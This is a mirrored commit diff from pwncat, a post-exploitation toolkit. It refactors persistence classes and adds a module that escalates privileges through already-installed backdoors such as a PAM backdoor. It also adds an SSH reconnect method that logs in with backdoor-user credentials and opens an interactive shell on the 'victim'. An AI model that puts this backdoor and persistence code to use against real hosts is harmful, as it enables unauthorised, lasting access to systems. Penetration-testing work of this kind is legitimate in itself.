mirror of
https://github.com/calebstewart/pwncat.git
synced 2024-11-23 17:15:38 +01:00
Final touches on converted modules
- Got the pam persistence module working - Added persistence escalation module to utilize installed persistence - Added escalation module priorities (EscalateModule.PRIORITY) - Should be > 0. - Default is 100. - Persistence escalation has priority of -1 to ensure it runs first. - Added enumeration module for passwords retrieved from pam persistence. - Removed version specifier for python-rich (it was very old for some reason).
This commit is contained in:
parent
f0fbb9851f
commit
5d7c334644
@ -116,7 +116,6 @@ def main():
|
|||||||
pwncat.victim.session.commit()
|
pwncat.victim.session.commit()
|
||||||
except InvalidRequestError:
|
except InvalidRequestError:
|
||||||
pass
|
pass
|
||||||
console.log("local terminal restored")
|
|
||||||
|
|
||||||
|
|
||||||
if __name__ == "__main__":
|
if __name__ == "__main__":
|
||||||
|
@ -1,4 +1,5 @@
|
|||||||
#!/usr/bin/env python3
|
#!/usr/bin/env python3
|
||||||
|
import enum
|
||||||
import inspect
|
import inspect
|
||||||
import pkgutil
|
import pkgutil
|
||||||
import re
|
import re
|
||||||
@ -39,6 +40,30 @@ class ModuleFailed(Exception):
|
|||||||
""" Base class for module failure """
|
""" Base class for module failure """
|
||||||
|
|
||||||
|
|
||||||
|
class PersistError(ModuleFailed):
|
||||||
|
""" There was a problem performing a persistence action """
|
||||||
|
|
||||||
|
|
||||||
|
class PersistType(enum.Flag):
|
||||||
|
"""
|
||||||
|
The type of persistence we are installing. Local persistence only
|
||||||
|
provides a method of persistence escalation from another user.
|
||||||
|
Remote persistence allows us to re-establish C2 after disconnecting.
|
||||||
|
|
||||||
|
Local persistence must implement the `escalate` method while remote
|
||||||
|
persistence must implement the `connect` method.
|
||||||
|
|
||||||
|
Persistence modules can be both Local and Remote (e.g. private key
|
||||||
|
persistence when a local `ssh` client is available). You can simply
|
||||||
|
bitwise OR these flags together to specify both.
|
||||||
|
|
||||||
|
"""
|
||||||
|
|
||||||
|
LOCAL = enum.auto()
|
||||||
|
REMOTE = enum.auto()
|
||||||
|
ALL_USERS = enum.auto()
|
||||||
|
|
||||||
|
|
||||||
@dataclass
|
@dataclass
|
||||||
class Argument:
|
class Argument:
|
||||||
""" Argument information for a module """
|
""" Argument information for a module """
|
||||||
|
@ -26,6 +26,7 @@ class Module(EnumerateModule):
|
|||||||
"persist.gather", progress=self.progress, module="persist.pam_backdoor"
|
"persist.gather", progress=self.progress, module="persist.pam_backdoor"
|
||||||
):
|
):
|
||||||
pam = module
|
pam = module
|
||||||
|
break
|
||||||
|
|
||||||
if pam is None:
|
if pam is None:
|
||||||
# The pam persistence module isn't installed.
|
# The pam persistence module isn't installed.
|
||||||
|
@ -7,6 +7,7 @@ import time
|
|||||||
import os
|
import os
|
||||||
|
|
||||||
# import rich.prompt
|
# import rich.prompt
|
||||||
|
from rich.prompt import Confirm
|
||||||
|
|
||||||
import pwncat
|
import pwncat
|
||||||
from pwncat.modules import (
|
from pwncat.modules import (
|
||||||
@ -353,7 +354,6 @@ class EscalateChain(Result):
|
|||||||
pwncat.victim.update_user()
|
pwncat.victim.update_user()
|
||||||
|
|
||||||
|
|
||||||
@dataclasses.dataclass
|
|
||||||
class EscalateResult(Result):
|
class EscalateResult(Result):
|
||||||
""" The result of running an escalate module. This object contains
|
""" The result of running an escalate module. This object contains
|
||||||
all the enumerated techniques and provides an abstract way to employ
|
all the enumerated techniques and provides an abstract way to employ
|
||||||
@ -363,6 +363,14 @@ class EscalateResult(Result):
|
|||||||
techniques: Dict[str, List[Technique]]
|
techniques: Dict[str, List[Technique]]
|
||||||
""" List of techniques available keyed by the user """
|
""" List of techniques available keyed by the user """
|
||||||
|
|
||||||
|
def __init__(self, techniques):
|
||||||
|
|
||||||
|
self.techniques: Dict[str, List[Technique]] = {}
|
||||||
|
for key, value in techniques:
|
||||||
|
self.techniques[key] = sorted(
|
||||||
|
techniques[key], key=lambda v: v.module.PRIORITY
|
||||||
|
)
|
||||||
|
|
||||||
@property
|
@property
|
||||||
def category(self):
|
def category(self):
|
||||||
return None
|
return None
|
||||||
@ -388,9 +396,10 @@ class EscalateResult(Result):
|
|||||||
|
|
||||||
for key, value in result.techniques.items():
|
for key, value in result.techniques.items():
|
||||||
if key not in self.techniques:
|
if key not in self.techniques:
|
||||||
self.techniques[key] = value
|
self.techniques[key] = sorted(value, key=lambda v: v.module.PRIORITY)
|
||||||
else:
|
else:
|
||||||
self.techniques[key].extend(value)
|
self.techniques[key].extend(value)
|
||||||
|
self.techniques[key] = sorted(value, key=lambda v: v.module.PRIORITY)
|
||||||
|
|
||||||
def add(self, technique: Technique):
|
def add(self, technique: Technique):
|
||||||
""" Add a new technique to this result object """
|
""" Add a new technique to this result object """
|
||||||
@ -671,7 +680,7 @@ class EscalateResult(Result):
|
|||||||
# This is important. Ask the user if they want to
|
# This is important. Ask the user if they want to
|
||||||
# clobber the authorized keys
|
# clobber the authorized keys
|
||||||
progress.stop()
|
progress.stop()
|
||||||
if rich.prompt.Confirm(
|
if Confirm(
|
||||||
"could not read authorized keys; attempt to clobber user keys?"
|
"could not read authorized keys; attempt to clobber user keys?"
|
||||||
):
|
):
|
||||||
authkeys = []
|
authkeys = []
|
||||||
@ -805,6 +814,11 @@ class EscalateModule(BaseModule):
|
|||||||
# while still returning a single value
|
# while still returning a single value
|
||||||
COLLAPSE_RESULT = True
|
COLLAPSE_RESULT = True
|
||||||
|
|
||||||
|
PRIORITY = 100
|
||||||
|
""" The priority of this escalation module. Values < 0 are reserved.
|
||||||
|
Indicates the order in which techniques are executed when attempting
|
||||||
|
escalation. """
|
||||||
|
|
||||||
def run(self, user, exec, read, write, shell, path, data, **kwargs):
|
def run(self, user, exec, read, write, shell, path, data, **kwargs):
|
||||||
""" This method is not overriden by subclasses. Subclasses should
|
""" This method is not overriden by subclasses. Subclasses should
|
||||||
override the `enumerate`, `write`, `read`, and `exec` methods.
|
override the `enumerate`, `write`, `read`, and `exec` methods.
|
||||||
|
52
pwncat/modules/escalate/persist.py
Normal file
52
pwncat/modules/escalate/persist.py
Normal file
@ -0,0 +1,52 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
|
||||||
|
import pwncat
|
||||||
|
from pwncat.modules import Status
|
||||||
|
from pwncat.platform import Platform
|
||||||
|
from pwncat.gtfobins import Capability
|
||||||
|
from pwncat.modules.persist import PersistError, PersistType
|
||||||
|
from pwncat.modules.persist.gather import InstalledModule
|
||||||
|
from pwncat.modules.escalate import EscalateError, EscalateModule, Technique
|
||||||
|
|
||||||
|
|
||||||
|
class PersistenceTechnique(Technique):
|
||||||
|
""" Escalates privileges utilizing an installed persistence
|
||||||
|
technique. """
|
||||||
|
|
||||||
|
def __init__(self, module: EscalateModule, user: str, persist: InstalledModule):
|
||||||
|
super(PersistenceTechnique, self).__init__(Capability.SHELL, user, module)
|
||||||
|
|
||||||
|
self.persist = persist
|
||||||
|
|
||||||
|
def exec(self, binary: str):
|
||||||
|
""" Run the given shell as another user """
|
||||||
|
|
||||||
|
try:
|
||||||
|
# Attempt to escalate
|
||||||
|
self.persist.escalate(user=self.user, progress=self.module.progress)
|
||||||
|
except PersistError as exc:
|
||||||
|
raise EscalateError(str(exc))
|
||||||
|
|
||||||
|
|
||||||
|
class Module(EscalateModule):
|
||||||
|
""" This module will enumerate all installed persistence methods which
|
||||||
|
offer local escalation. """
|
||||||
|
|
||||||
|
PLATFORM = Platform.ANY
|
||||||
|
|
||||||
|
def enumerate(self):
|
||||||
|
|
||||||
|
for persist in pwncat.modules.run("persist.gather", progress=self.progress):
|
||||||
|
if PersistType.LOCAL not in persist.module.TYPE:
|
||||||
|
continue
|
||||||
|
if persist.persist.user is None:
|
||||||
|
users = pwncat.victim.users.keys()
|
||||||
|
else:
|
||||||
|
users = persist.persist.user
|
||||||
|
for user in users:
|
||||||
|
yield PersistenceTechnique(self, user, persist)
|
||||||
|
|
||||||
|
return
|
||||||
|
|
||||||
|
def human_name(self, tech: PersistenceTechnique):
|
||||||
|
return str(tech.persist)
|
@ -5,31 +5,15 @@ import inspect
|
|||||||
import pwncat
|
import pwncat
|
||||||
import pwncat.db
|
import pwncat.db
|
||||||
from pwncat.util import State
|
from pwncat.util import State
|
||||||
from pwncat.modules import BaseModule, Argument, Bool, Status, ModuleFailed
|
from pwncat.modules import (
|
||||||
|
BaseModule,
|
||||||
|
Argument,
|
||||||
class PersistError(ModuleFailed):
|
Bool,
|
||||||
""" There was a problem performing a persistence action """
|
Status,
|
||||||
|
ModuleFailed,
|
||||||
|
PersistError,
|
||||||
class PersistType(enum.Flag):
|
PersistType,
|
||||||
"""
|
)
|
||||||
The type of persistence we are installing. Local persistence only
|
|
||||||
provides a method of persistence escalation from another user.
|
|
||||||
Remote persistence allows us to re-establish C2 after disconnecting.
|
|
||||||
|
|
||||||
Local persistence must implement the `escalate` method while remote
|
|
||||||
persistence must implement the `connect` method.
|
|
||||||
|
|
||||||
Persistence modules can be both Local and Remote (e.g. private key
|
|
||||||
persistence when a local `ssh` client is available). You can simply
|
|
||||||
bitwise OR these flags together to specify both.
|
|
||||||
|
|
||||||
"""
|
|
||||||
|
|
||||||
LOCAL = enum.auto()
|
|
||||||
REMOTE = enum.auto()
|
|
||||||
ALL_USERS = enum.auto()
|
|
||||||
|
|
||||||
|
|
||||||
class PersistModule(BaseModule):
|
class PersistModule(BaseModule):
|
||||||
@ -74,6 +58,8 @@ class PersistModule(BaseModule):
|
|||||||
),
|
),
|
||||||
}
|
}
|
||||||
COLLAPSE_RESULT = True
|
COLLAPSE_RESULT = True
|
||||||
|
# We should always try persistence before other methods.
|
||||||
|
PRIORITY = -1
|
||||||
|
|
||||||
def __init__(self):
|
def __init__(self):
|
||||||
super(PersistModule, self).__init__()
|
super(PersistModule, self).__init__()
|
||||||
|
@ -10,8 +10,8 @@ import pwncat
|
|||||||
import pwncat.tamper
|
import pwncat.tamper
|
||||||
from pwncat.util import Access
|
from pwncat.util import Access
|
||||||
from pwncat.platform import Platform
|
from pwncat.platform import Platform
|
||||||
from pwncat.modules import Argument
|
from pwncat.modules import Argument, PersistType, PersistError
|
||||||
from pwncat.modules.persist import PersistModule, PersistType, PersistError
|
from pwncat.modules.persist import PersistModule
|
||||||
|
|
||||||
|
|
||||||
class Module(PersistModule):
|
class Module(PersistModule):
|
||||||
|
@ -31,9 +31,14 @@ class InstalledModule(Result):
|
|||||||
""" Remove this module """
|
""" Remove this module """
|
||||||
self.module.run(remove=True, progress=progress, **self.persist.args)
|
self.module.run(remove=True, progress=progress, **self.persist.args)
|
||||||
|
|
||||||
def escalate(self, progress=None):
|
def escalate(self, user=None, progress=None):
|
||||||
""" Escalate utilizing this persistence module """
|
""" Escalate utilizing this persistence module """
|
||||||
self.module.run(escalate=True, progress=progress, **self.persist.args)
|
|
||||||
|
args = self.persist.args.copy()
|
||||||
|
if user is not None:
|
||||||
|
args["user"] = user
|
||||||
|
|
||||||
|
self.module.run(escalate=True, progress=progress, **args)
|
||||||
|
|
||||||
def connect(self, user=None, progress=None):
|
def connect(self, user=None, progress=None):
|
||||||
|
|
||||||
@ -98,6 +103,12 @@ class Module(BaseModule):
|
|||||||
query = query.filter_by(method=module)
|
query = query.filter_by(method=module)
|
||||||
|
|
||||||
# Grab all the rows
|
# Grab all the rows
|
||||||
|
# We also filter here for any other key-value arguments passed
|
||||||
|
# to the `run` call. We ensure the relevant key exists, and
|
||||||
|
# that it is equal to the specified value, unless the key is None.
|
||||||
|
# If a key is None in the database, we assume it can take on any
|
||||||
|
# value and utilize it as is. This is mainly for the `user` argument
|
||||||
|
# as some persistence methods apply to all users.
|
||||||
modules = [
|
modules = [
|
||||||
InstalledModule(
|
InstalledModule(
|
||||||
persist=row,
|
persist=row,
|
||||||
@ -106,7 +117,8 @@ class Module(BaseModule):
|
|||||||
for row in query.all()
|
for row in query.all()
|
||||||
if all(
|
if all(
|
||||||
[
|
[
|
||||||
key in row.args and row.args[key] == value
|
key in row.args
|
||||||
|
and (row.args[key] == value or row.args[key] is None)
|
||||||
for key, value in kwargs.items()
|
for key, value in kwargs.items()
|
||||||
]
|
]
|
||||||
)
|
)
|
||||||
@ -122,10 +134,15 @@ class Module(BaseModule):
|
|||||||
for module in modules:
|
for module in modules:
|
||||||
yield Status(f"escalating w/ [cyan]{module.name}[/cyan]")
|
yield Status(f"escalating w/ [cyan]{module.name}[/cyan]")
|
||||||
try:
|
try:
|
||||||
|
# User is a special case. It can be passed on because some modules
|
||||||
|
# apply to all users, which means their `args` will contain `None`.
|
||||||
|
if "user" in kwargs:
|
||||||
|
module.escalate(user=kwargs["user"], progress=self.progress)
|
||||||
|
else:
|
||||||
module.escalate(progress=self.progress)
|
module.escalate(progress=self.progress)
|
||||||
# Escalation succeeded!
|
# Escalation succeeded!
|
||||||
return
|
return
|
||||||
except pwncat.modules.persist.PersistError:
|
except pwncat.modules.PersistError:
|
||||||
# Escalation failed
|
# Escalation failed
|
||||||
pass
|
pass
|
||||||
|
|
||||||
|
@ -12,8 +12,8 @@ import paramiko
|
|||||||
import pwncat
|
import pwncat
|
||||||
from pwncat.util import CompilationError, Access
|
from pwncat.util import CompilationError, Access
|
||||||
from pwncat.platform import Platform
|
from pwncat.platform import Platform
|
||||||
from pwncat.modules import Argument, Status
|
from pwncat.modules import Argument, Status, PersistError, PersistType
|
||||||
from pwncat.modules.persist import PersistModule, PersistError, PersistType
|
from pwncat.modules.persist import PersistModule
|
||||||
|
|
||||||
|
|
||||||
class Module(PersistModule):
|
class Module(PersistModule):
|
||||||
@ -223,7 +223,7 @@ class Module(PersistModule):
|
|||||||
""" Escalate to the given user with this module """
|
""" Escalate to the given user with this module """
|
||||||
|
|
||||||
try:
|
try:
|
||||||
pwncat.victim.su(user, password, check=True)
|
pwncat.victim.su(user, password)
|
||||||
except PermissionError:
|
except PermissionError:
|
||||||
raise PersistError("Escalation failed. Is selinux enabled?")
|
raise PersistError("Escalation failed. Is selinux enabled?")
|
||||||
|
|
||||||
|
@ -1,9 +1,12 @@
|
|||||||
#!/usr/bin/env python3
|
#!/usr/bin/env python3
|
||||||
|
import socket
|
||||||
import crypt
|
import crypt
|
||||||
|
|
||||||
|
import paramiko
|
||||||
|
|
||||||
import pwncat
|
import pwncat
|
||||||
from pwncat.modules import Argument
|
from pwncat.modules import Argument, Status, PersistType, PersistError
|
||||||
from pwncat.modules.persist import PersistType, PersistModule, PersistError
|
from pwncat.modules.persist import PersistModule
|
||||||
|
|
||||||
|
|
||||||
class Module(PersistModule):
|
class Module(PersistModule):
|
||||||
@ -96,6 +99,42 @@ class Module(PersistModule):
|
|||||||
# Reload the user database
|
# Reload the user database
|
||||||
pwncat.victim.reload_users()
|
pwncat.victim.reload_users()
|
||||||
|
|
||||||
|
def connect(self, user, backdoor_user, backdoor_pass, shell):
|
||||||
|
|
||||||
|
try:
|
||||||
|
yield Status("connecting to host")
|
||||||
|
# Connect to the remote host's ssh server
|
||||||
|
sock = socket.create_connection((pwncat.victim.host.ip, 22))
|
||||||
|
except Exception as exc:
|
||||||
|
raise PersistError(str(exc))
|
||||||
|
|
||||||
|
# Create a paramiko SSH transport layer around the socket
|
||||||
|
yield Status("wrapping socket in ssh transport")
|
||||||
|
t = paramiko.Transport(sock)
|
||||||
|
try:
|
||||||
|
t.start_client()
|
||||||
|
except paramiko.SSHException:
|
||||||
|
raise PersistError("ssh negotiation failed")
|
||||||
|
|
||||||
|
# Attempt authentication
|
||||||
|
try:
|
||||||
|
yield Status("authenticating with victim")
|
||||||
|
t.auth_password(backdoor_user, backdoor_pass)
|
||||||
|
except paramiko.ssh_exception.AuthenticationException:
|
||||||
|
raise PersistError("incorrect password")
|
||||||
|
|
||||||
|
if not t.is_authenticated():
|
||||||
|
t.close()
|
||||||
|
sock.close()
|
||||||
|
raise PersistError("incorrect password")
|
||||||
|
|
||||||
|
# Open an interactive session
|
||||||
|
chan = t.open_session()
|
||||||
|
chan.get_pty()
|
||||||
|
chan.invoke_shell()
|
||||||
|
|
||||||
|
yield chan
|
||||||
|
|
||||||
def escalate(self, user, backdoor_user, backdoor_pass, shell):
|
def escalate(self, user, backdoor_user, backdoor_pass, shell):
|
||||||
""" Utilize this module to escalate """
|
""" Utilize this module to escalate """
|
||||||
|
|
||||||
|
@ -26,7 +26,7 @@ pytablewriter==0.54.0
|
|||||||
python-dateutil==2.8.1
|
python-dateutil==2.8.1
|
||||||
pytz==2020.1
|
pytz==2020.1
|
||||||
requests==2.24.0
|
requests==2.24.0
|
||||||
rich==3.3.2
|
rich
|
||||||
six==1.15.0
|
six==1.15.0
|
||||||
SQLAlchemy==1.3.18
|
SQLAlchemy==1.3.18
|
||||||
tabledata==1.1.2
|
tabledata==1.1.2
|
||||||
|
2
setup.py
2
setup.py
@ -34,7 +34,7 @@ dependencies = [
|
|||||||
"python-dateutil==2.8.1",
|
"python-dateutil==2.8.1",
|
||||||
"pytz==2020.1",
|
"pytz==2020.1",
|
||||||
"requests==2.24.0",
|
"requests==2.24.0",
|
||||||
"rich==3.3.2",
|
"rich",
|
||||||
"six==1.15.0",
|
"six==1.15.0",
|
||||||
"SQLAlchemy==1.3.18",
|
"SQLAlchemy==1.3.18",
|
||||||
"tabledata==1.1.2",
|
"tabledata==1.1.2",
|
||||||
|
Loading…
Reference in New Issue
Block a user